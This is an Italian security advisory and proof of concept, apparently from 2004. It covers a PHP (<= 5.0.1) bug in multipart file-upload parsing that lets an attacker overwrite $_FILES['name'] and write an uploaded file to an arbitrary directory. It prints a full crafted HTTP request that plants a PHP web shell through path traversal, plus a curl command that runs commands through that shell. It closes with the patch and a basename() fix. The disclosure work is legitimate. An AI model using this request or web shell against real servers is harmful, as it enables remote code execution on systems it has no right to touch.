THP Wisec USH DigitalBullets TheHackersPlace network
The WIse SECurity
.italian
.english
Wisec Home SecSearch Progetti Documenti Pensieri in Sicurezza
 
Servizi alle Aziende News Cerca su Wisec
Google

Vulnerabilità PHP - Proof of Concept

Titolo:

Sovrascrittura dell'array $_FILE in relazione alla rfc1867 - Mime multipart/form-data File Upload.

Autore:

Stefano Di Paola

Vulnerabili:

Php <= 5.0.1

Non Vulnerabili:

Nessuno

Tipo di Vulnerabilità:

Possibile scrittura di un file "uploadato" in una directory arbitraria.

Risorse:

Pubblicato su Bugtraq e VulnWatch

Descrizione:

L'implementazione sbagliata del parser degli array nel file rfc1867 potrebbe permettere
la sovrascrittura di alcuni elementi di $_FILES.


Creando, infatti, una richiesta ad hoc per l'upload di un file codificata secondo le specifiche
"multipart/form-data file" è possibile bypassare assegnare all'elemento 'name' del vettore $_FILE
un valore arbitrario.
In particolare se nello script il nome dell'elemento di riferimento per l'upload contiene
una '_' (underscore) tipo "user_file", allora la vulnerabilità è una falla di sicurezza.
Utilizzando l'esempio 34-2. Validating file uploads (cambiando 'userfile' in 'user_file')
come spiegato in http://www.php.net/manual/en/features.file-upload.php :
 -----file: upload.php------
 <?php
 // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
 instead
 // of $_FILES.

 $uploaddir = '/var/www/uploads/';
 $uploadfile = $uploaddir . $_FILES['user_file']['name'];

 print "<pre>";
 if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
    print "File is valid, and was successfully uploaded. ";
    print "Here's some more debugging info:\n";
    print_r($_FILES);
 } else {
    print "Possible file upload attack!  Here's some debugging info:\n";
    print_r($_FILES);
 }
 print "</pre>";

 ?>
 ----end file: upload.php------
N.B La funzione php is_uploaded_file è stata aggiunta per dimostrare che questo controllo è bypassabile.

Supponiamo che /var/www/html/ sia scrivibile dall'utente apache (o una qualunque altra directory nella radice di apache).

$: (cat form)|nc 127.0.0.1 80

 <pre>
 File is valid, and was successfully uploaded.
 Here's some more debugging info:

 Array(
         [user_file] =>Array(
                               [name] =>  ../html/passt.php
                               [tmp_name] => /tmp/phpucjLV1
                               [error] => 0
                               [size] => 30
                               [type] => application/octet-stream
                           )
         )
</pre>
Dove form è la seguente:

 -----8<---form-------8<-----
 POST /upload.php HTTP/1.1
 Host: 127.0.0.1
 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
 Gecko/20040115 Galeon/1.3.12
 Accept:
 text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
 Accept-Language: en
 Accept-Encoding: gzip, deflate, compress;q=0.9
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Keep-Alive: 300
 Connection: keep-alive
 Referer:
 Content-Type: multipart/form-data;
 boundary=---------------------------1648318426118446961720965026
 Content-Length: 395

 -----------------------------1648318426118446961720965026
 Content-Disposition: form-data; name="user[file[name]123";
 filename="p.php"
 Content-Type: ../html/passt.php

 <?
 passthru($_GET['cm']);
 ?>

 -----------------------------1648318426118446961720965026
 Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
 Content-Type: application/octet-stream

 <?
 passthru($_GET['cm']);
 ?>


 -----8<---endform----8<-----
Guardando da vicino la richiesta si può notare che il nome del file viene valorizzato da 'Content-Type: ../html/passt.php' e non da filename='p.php'
La seconda sezione è inserita solo per dare una parvenza di normalità permettendo al php di valorizzare anche l'elemento 'type', ma è più un esercizio di stile che altro...

Verifichiamo che tutto sia andato a buon fine:

 $: curl "127.0.0.1/passt.php?cm=id"
 uid=72(apache) gid=72(apache) groups=72(apache)

Fatto?...Fatto!

Il Problema

Il problema è dovuto al fatto che, come si può vedere nella form, giocando con le parentesi quadre e aggiungendo in coda qualunque cosa tranne una ']', si può fare in modo che vi sia un parsing sbagliato della variabile, risultando, in questo modo, un array diverso da quello atteso.
Non andrò troppo nello specifico dell'errore nel codice, basti sapere che il problema sta nel fatto che il nome del parametro 'name' nella richiesta, viene visto prima come una Stringa semplice (non array) e poi viene
'riparsato' dalla funzione php_register_varibles che la vede invece come un array, generando così una incongruenza
Questa incongruenza può essere sfruttata per riscrivere i valori degli elementi 'name' e 'type' diventando così una falla di sicurezza.

La Soluzione

La soluzione più semplice è scaricare e installare php 5.0.2 o 4.3.9 che sono state rilasciate da un paio di giorni.

Una soluzione alternativa è quella di controllare che $_FILES[]['name'] sia realmente solo un nome di file, per fare ciò basta usare qualcosa del genere:
$nomefile=basename($_FILES[]['name']);

Firenze, Domenica 26 Settembre 2004

Wisec - Un'Idea sviluppata e mantenuta da...

Wisec è scritto e mantenuto da Stefano Di Paola.

Wisec usa standard aperti, inclusi XHTML, PHP e CSS2.

Tutti i Diritti Riservati 2004
Tutti i messaggi e i metadati appartengono ai rispettivi autori.